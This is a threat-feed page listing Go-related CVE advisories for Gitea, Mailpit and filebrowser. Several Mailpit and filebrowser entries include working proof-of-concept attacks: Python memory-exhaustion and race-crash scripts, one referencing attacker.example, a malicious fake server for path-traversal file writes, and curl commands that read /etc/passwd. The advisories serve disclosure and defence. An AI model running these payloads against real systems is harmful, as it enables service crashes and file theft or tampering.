Threats tagged 'go'
730 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.5 | EPSS 0.3% | CVE-2026-58418Gitea · SSRF via HTTP Redirect in Repository Migration Medium6.5EPSS 0.3%GCVE DatabaseCVE-2026-58418 Gitea 1.25.4 and earlier versions prior to 1.26.4 contain a server-side request forgery (SSRF) vulnerability in the repository migration endpoint. The vulnerability arises because Gitea validates the initial migration URL to block internal addresses but does not re-validate URLs after following HTTP 302 redirects. This allows a low-privilege user to cause Gitea to access internal services by redirecting from an attacker-controlled server to internal IP addresses, effectively using Gitea as a proxy to access otherwise inaccessible internal resources. | GCVE Database | ||
| Medium | 5.3 | Medium5.3GCVE Database Gitea contains an authorization bypass vulnerability in its API fork endpoint that allows organization members to create repositories despite restrictions. The API endpoint for forking repositories into organizations only checks if the user is a member, not whether they have permission to create repositories. This contrasts with the web UI and other API endpoints that enforce stricter repository creation permissions. The issue affects Gitea versions prior to 1.26.0. Exploiting this flaw allows unauthorized repository creation within organizations, potentially increasing attack surface depending on organizational configurations. | GCVE Database | |||
| Critical | 9.8 | EPSS 0.8% | Critical9.8EPSS 0.8%GCVE DatabaseCVE-2026-56654 Gitea versions prior to 1.27.0 contain a privilege escalation vulnerability in the API endpoint for creating Personal Access Tokens. An attacker with a restricted token can bypass authentication middleware by presenting the token in a Basic auth format, causing the system to incorrectly treat the token as password-based authentication. This flaw allows the attacker to create new tokens with any requested scope, including full 'all' scope, without knowing the account password. The vulnerability is fixed in version 1.27.0. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.4% | Medium5.3EPSS 0.4%GCVE DatabaseCVE-2026-58507 Gitea versions prior to 1.27.0 have a vulnerability where unauthenticated requests with the query parameter '?go-get=1' bypass normal authentication and authorization checks. This causes Gitea to respond with HTTP 200 and metadata revealing private repository existence, clone URLs, and default branch names. This allows attackers to confirm and enumerate private repositories without credentials. | GCVE Database | ||
| Medium | 5.9 | EPSS 0.3% | CVE-2026-57886Gitea · Cross-repository issue/comment attachment re-linking can expose private attachment content Medium5.9EPSS 0.3%GCVE DatabaseCVE-2026-57886 Gitea versions prior to 1.27.0 contain a vulnerability in the issue and comment attachment update functionality where attachments can be re-linked across repositories without proper validation. An authenticated attacker who can edit issues or comments in a repository they can read can re-link a known victim attachment UUID to their repository, causing subsequent access checks to use the attacker's repository authorization context. This allows disclosure of private attachments if the attacker has obtained the UUID by other means. The issue is fixed in version 1.27.0. | GCVE Database | ||
| Low | 3.1 | EPSS 0.3% | CVE-2026-23603Gitea · Blind SSRF in OAuth2 avatar synchronization via unvalidated OIDC picture claim Low3.1EPSS 0.3%GCVE DatabaseCVE-2026-23603 Gitea versions prior to 1.27.0 have a blind Server-Side Request Forgery (SSRF) vulnerability in the OAuth2 avatar synchronization feature when the setting UPDATE_AVATAR is enabled. A low-privileged OAuth2/OIDC user who can control their picture claim can cause the Gitea server to make arbitrary HTTP GET requests to internal or external network addresses without validation. This can lead to internal network probing or interaction with localhost-only or private services. The vulnerability is blind because non-image responses are rejected, but if an internal service returns a valid image, it may be stored as the attacker's avatar. A fix is available in version 1.27.0. | GCVE Database | ||
| Medium | 4.3 | EPSS 0.3% | Medium4.3EPSS 0.3%GCVE DatabaseCVE-2026-58425 Gitea versions prior to 1.27.0 contain a vulnerability in the OAuth token introspection endpoint where a client can obtain metadata about tokens issued to other clients. This violates RFC 7662 section 4, which requires limiting token introspection responses to the token's intended audience. The flaw arises because the introspection handler does not verify that the introspecting client matches the token's issuing client, allowing unauthorized disclosure of token metadata. A fix is available in version 1.27.0. | GCVE Database | ||
| Critical | 9.1 | EPSS 0.5% | Critical9.1EPSS 0.5%GCVE DatabaseCVE-2026-56750 Gitea versions prior to 1.27.0 contain a vulnerability in the Remember-Me token validation logic. When a stolen Remember-Me token is used by an attacker, Gitea rotates the token hash but does not invalidate the attacker's session after detecting a hash mismatch. This allows the attacker to maintain persistent access to the victim's account indefinitely. The issue is fixed in version 1.27.0. | GCVE Database | ||
| Medium | 5.9 | EPSS 0.4% | Medium5.9EPSS 0.4%GCVE DatabaseCVE-2026-58432 Gitea versions prior to 1.27.0 have a vulnerability where draft release attachments can be accessed without proper authorization via web endpoints. While API endpoints enforce access control requiring write permissions to view draft releases, the web attachment endpoints do not check if the release is a draft, allowing anyone with the attachment UUID to download the file. This leads to unauthorized disclosure of draft release attachments. | GCVE Database | ||
| Medium | 6.5 | EPSS 0.5% | Medium6.5EPSS 0.5%GCVE DatabaseCVE-2026-58428 Gitea versions prior to 1.27.0 contain a vulnerability in the web release edit form that allows users with repository write permissions to rename release attachments to filenames with forbidden extensions, bypassing the configured allowlist. This occurs because the web handler EditReleasePost updates attachment names without verifying the file extension against the allowed types, unlike the API endpoint which correctly enforces this check. The issue was fixed in version 1.27.0. | GCVE Database | ||
| Critical | 9.6 | EPSS 0.5% | Critical9.6EPSS 0.5%GCVE DatabaseCVE-2026-56443 CVE-2026-56443 is a vulnerability in Gitea versions prior to 1.27.0 where the 'public-only' personal access token (PAT) scope can be bypassed for repositories and packages owned by users with Limited visibility. Despite a prior fix unifying public-only token filtering, the Repository and Package scope categories incorrectly check visibility, allowing tokens with the public-only scope to access content beyond intended anonymous reach. This affects API v1 repository endpoints, package registries, and web download endpoints, enabling unauthorized read access to limited-visibility repositories and packages. | GCVE Database | ||
| High | 8.1 | EPSS 0.5% | CVE-2026-58439Gitea · Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag High8.1EPSS 0.5%GCVE DatabaseCVE-2026-58439 Gitea versions prior to 1.27.0 contain a vulnerability where the 'official' approval flag on pull request reviews is not re-evaluated when the PR's target branch is changed. This allows an attacker with write access to obtain an official approval on a PR targeting an unprotected branch and then retarget the PR to a protected branch, bypassing branch protection rules and merging without legitimate maintainer approval. | GCVE Database | ||
| Medium | 4.3 | EPSS 0.3% | Medium4.3EPSS 0.3%GCVE DatabaseCVE-2026-59766 Gitea versions prior to 1.27.0 contain a vulnerability where revoked users can still access metadata of private repositories and private issue titles via two API endpoints: /api/v1/user/starred and /api/v1/user/times. This occurs because these endpoints do not properly re-check repository access permissions at output time, allowing former collaborators to enumerate private repos they had starred and read private issue titles indefinitely after access revocation. The leaked information is limited to metadata and does not include repository content or comment bodies. | GCVE Database | ||
| Medium | 6.8 | EPSS 0.5% | CVE-2026-58440gitea.dev · Gitea: Webhooks created by a collaborator keep firing after their repo access is revoked → ongoing real-time Medium6.8EPSS 0.5%GCVE DatabaseCVE-2026-58440 Gitea versions prior to 1.27.0 have a vulnerability where webhooks created by a collaborator with admin permissions on a private repository continue to fire even after that collaborator's access is revoked. The webhook delivery mechanism does not re-validate the creator's current repository access, allowing the former collaborator to receive ongoing payloads of private repository events. This results in unauthorized data exposure beyond the collaborator's revoked access. | GCVE Database | ||
| High | 8.5 | EPSS 0.4% | High8.5EPSS 0.4%GCVE DatabaseCVE-2026-57894 Gitea versions prior to 1.27.0 contain a vulnerability in repository migration where the URL validation is bypassed due to Git HTTP redirects. An authenticated low-privileged user can submit a repository URL that initially passes validation but redirects to internal or blocked Git endpoints, enabling internal repository exfiltration. This affects migration and mirror fetch operations, potentially exposing sensitive internal repositories and secrets. The issue is fixed in version 1.27.0. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.5% | CVE-2026-48824axllent mailpit · Unthrottled Resource Allocation Medium5.3EPSS 0.5%CVE Database V5CVE-2026-48824 ### Summary The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. ### Affected versions - Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14). - All versions `<= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `< v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here. ### Privilege required None in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host. ### The incomplete fix Commit `136bdde` ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place: ```go // server/apiv1/send.go:45-48 if config.MaxMessageSize > 0 { r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024) } decoder := json.NewDecoder(r.Body) ``` The sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`: | File | Function | `MaxBytesReader`? | Unauth in default deploy? | |---|---|---|---| | `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) | | `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES | | `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES | | `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES | | `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES | The four sibling handlers all share the shape: ```go // server/apiv1/messages.go:107-115 (SetReadStatus) decoder := json.NewDecoder(r.Body) var data struct { Read bool IDs []string Search string } err := decoder.Decode(&data) ``` No `MaxBytesReader`, no body-size cap, no `r.Header.Get("Content-Length")` check. The `json.NewDecoder` streams the body but each `"x"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size. ### Vulnerable code `server/apiv1/messages.go:107`: ```go func SetReadStatus(w http.ResponseWriter, r *http.Request) { decoder := json.NewDecoder(r.Body) var data struct { Read bool IDs []string Search string } err := decoder.Decode(&data) if err != nil { httpError(w, err.Error()) return } // ... ``` Three other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape. ### Reachability chain (default deploy) ``` Listen() # config/config.go HTTPListen = "[::]:8025" ↓ HTTP server # server/server.go:177-186 ↓ middleWareFunc(apiv1.SetReadStatus) # server/server.go:178 — auth bypassed when UICredentials == nil ↓ SetReadStatus # server/apiv1/messages.go:87 ↓ json.NewDecoder(r.Body).Decode(&data) # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]} ↓ RSS grows ~28x relative to payload size ``` `config/config.go`'s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it. ### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0) ```bash # 1) start mailpit with defaults (no --ui-auth, no --smtp-auth) docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest # 2) baseline RSS docker stats mailpit-test --no-stream --format '{{.MemUsage}}' # → 8.473MiB / 5.772GiB # 3) trigger python3 - <<'PY' import socket N = 4_00 | CVE Database V5 | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-45713axllent mailpit · Uncontrolled Resource Consumption High7.5EPSS 0.6%CVE Database V5CVE-2026-45713 ### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill. ### Details Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates). Affected code [internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists: ``` type Server struct { ... MaxSize int // Maximum message size allowed, in bytes ... } ``` [internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0: ``` for { ... line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded } ``` [internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var. [server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect: ``` decoder := json.NewDecoder(r.Body) data := sendMessageParams{} if err := decoder.Decode(&data.Body); err != nil { httpJSONError(w, err.Error()) return } ``` No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget. ### PoC Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth): ``` #!/usr/bin/env python3 # poc-smtp-dos.py import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:<a@b.com>\r\n", b"RCPT TO:<c@d.com>\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close() ``` ``` $ python3 poc-smtp-dos.py 127.0.0.1 1025 100 220 hostname Mailpit ESMTP Service ready 250 hostname greets x 250 2.1.0 Ok 250 2.1.5 Ok 354 Start mail input; end with <CR><LF>.<CR><LF> 250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline ``` Equivalent over HTTP: ``` # poc-http-dos.py import socket, sys host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"' suffix = b'"}' N = mb * 1024 * 1024 clen = len(prefix) + N + len(suffix) s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace")) ``` ``` $ python3 poc-http-dos.py 127.0.0.1 8025 200 HTTP/1.1 200 OK ... $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 2147000 # comfortably above 2 GiB on the same process ``` Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.3% | CVE-2026-45712axllent mailpit · Race Condition Medium5.9EPSS 0.3%CVE Database V5CVE-2026-45712 ### Summary The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it. ### Details A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read. Affected code [server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229) [server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66) [server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace. ### PoC 1. Deposit any message with a <link rel="stylesheet" href="https://attacker.example/big.css"> in the store (SMTP or /api/v1/send, both unauthenticated by default). 2. Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly. Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct): ``` # proxy-race.py import socket, threading, base64, sys ID = sys.argv[1] # 22-char shortuuid CSS = "https://attacker.example/big.css" TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode() req = ( f"GET /proxy?data={TOKEN} HTTP/1.1\r\n" f"Host: target:8025\r\n" f"Connection: close\r\n\r\n" ).encode() def hit(): try: s = socket.create_connection(("target", 8025), timeout=10) s.sendall(req) while s.recv(8192): pass s.close() except Exception: pass for _ in range(50): # 50 rounds ts = [threading.Thread(target=hit) for _ in range(300)] for t in ts: t.start() for t in ts: t.join() ``` When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits: ``` fatal error: concurrent map read and map write goroutine 123 [running]: runtime.throw(...) github.com/axllent/mailpit/server/handlers.ProxyHandler(...) server/handlers/proxy.go:216 ... ``` …and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration. ### Impact Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS). | CVE Database V5 | ||
| High | 7.7 | EPSS 0.4% | CVE-2026-54910gtsteffaniak filebrowser · Path Traversal High7.7EPSS 0.4%CVE Database V5CVE-2026-54910 ### Summary The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors. The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`. Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys. ### Details **1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)** ```go userscope, err := d.user.GetScopeForSourceName(source) // ... realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization // ... parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory ``` `SanitizeUserPath()` explicitly rejects `..` segments: ```go func SanitizeUserPath(userPath string) (string, error) { // ... for _, segment := range segments { if segment == ".." { return "", fmt.Errorf("invalid path: path traversal detected") } } // ... } ``` Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required. **2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)** ```go name := r.URL.Query().Get("name") // line 37 — raw user input // ... content, err = utils.GetSubtitleSidecarContent( filepath.Join(parentDir, name)) // line 63 — TRAVERSAL ``` `filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor. **3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)** ```go func GetSubtitleSidecarContent(subtitlePath string) (string, error) { info, err := os.Stat(subtitlePath) // follows the traversed path // size check: < 50MB isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity content, err := os.ReadFile(subtitlePath) // reads and returns content return string(content), nil } ``` The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string. **4. Endpoint is behind `withUser` but requires no special permissions** ```go // httpRouter.go api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler)) ``` Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required. ### PoC **Vector 1: `path` traversal (no anchor file needed):** ```bash docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. **Vector 2: `name` traversal (anchor file required):** ```bash mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. ### Impact - **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for. - **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed. - **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system. - **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets. - **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens. - **No special permissions required**: The endpoint only requires basic authenti | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.4% | CVE-2026-45711axllent mailpit · Path Traversal Medium5.9EPSS 0.4%CVE Database V5CVE-2026-45711 ### Summary The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. ### Details Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix. ### Affected code [internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155): path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap. The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL. ### PoC 1. Run a malicious "Mailpit" server that returns one message whose ID contains .. segments: ```python # evil-mailpit.py import http.server, json class Evil(http.server.BaseHTTPRequestHandler): def do_GET(self): if "/api/v1/messages" in self.path: resp = { "total": 1, "unread": 0, "count": 1, "messages_count": 1, "messages_unread": 0, "start": 0, "tags": [], "messages": [{ "ID": "../../../../tmp/mailpit-pwn", # ← traversal "MessageID": "x", "Read": False, "From": {"Name": "", "Address": "a@b"}, "To": [{"Name": "", "Address": "c@d"}], "Cc": None, "Bcc": None, "ReplyTo": [], "Subject": "evil", "Created": "2026-01-01T00:00:00Z", "Tags": [], "Size": 5, "Attachments": 0, "Snippet": "" }] } body = json.dumps(resp).encode() ctype = "application/json" elif "/raw" in self.path: body = b"PWNED BY MAILPIT DUMP TRAVERSAL\n" ctype = "text/plain" else: self.send_response(404); self.end_headers(); return self.send_response(200) self.send_header("Content-Type", ctype) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever() ``` ``` $ python3 evil-mailpit.py & $ mkdir -p /tmp/dump-out $ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out ``` 2. Observe the file was written outside the requested output directory: ``` $ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml /tmp/dump-out/ ← empty total 0 -rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml $ cat /tmp/mailpit-pwn.eml PWNED BY MAILPIT DUMP TRAVERSAL ``` The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to. ### Impact Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges. | CVE Database V5 |
Page 22 of 37